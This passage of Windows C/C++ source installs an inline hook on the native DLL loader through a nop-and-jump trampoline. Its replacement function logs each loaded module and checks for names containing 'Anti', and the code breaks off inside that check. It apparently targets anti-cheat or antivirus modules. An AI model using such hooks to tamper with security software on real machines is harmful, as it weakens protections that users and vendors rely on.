typedef NTSTATUS (__stdcall *fLdrLoadDll) //LdrLoadDll function prototype
(
IN PWCHAR PathToFile OPTIONAL,
IN ULONG Flags OPTIONAL,
IN PUNICODE_STRING ModuleFileName,
OUT PHANDLE ModuleHandle
);
typedef NTSTATUS (__stdcall* _LoadLibraryW)(__in LPCWSTR lpLibFileName);
_LoadLibraryW OrgLoadLibraryW=NULL;
DWORD OldLoadLibraryAdd5=0;
__declspec(naked) NTSTATUS __stdcall TempLoadLibraryW( IN PWCHAR PathToFile OPTIONAL,
IN ULONG Flags OPTIONAL,
IN PUNICODE_STRING ModuleFileName,
OUT PHANDLE ModuleHandle )
{
__asm{
nop
nop
nop
nop
nop
nop
jmp OldLoadLibraryAdd5
}
}
NTSTATUS __stdcall MyLoadLibraryW( IN PWCHAR PathToFile OPTIONAL,
IN ULONG Flags OPTIONAL,
IN PUNICODE_STRING ModuleFileName,
OUT PHANDLE ModuleHandle )
{
//
NTSTATUS sy= TempLoadLibraryW(PathToFile,Flags,ModuleFileName,ModuleHandle);
if (sy>=0)
{
/*
if (GetModuleHandleA())
{
}*/
OutputDebugStringW(ModuleFileName->Buffer);
if (wcsstr(ModuleFileName->Buffer,L"Anti")!=NULL || wcsstr(ModuleFileName->Buffer,L"anti")!=NULL )
{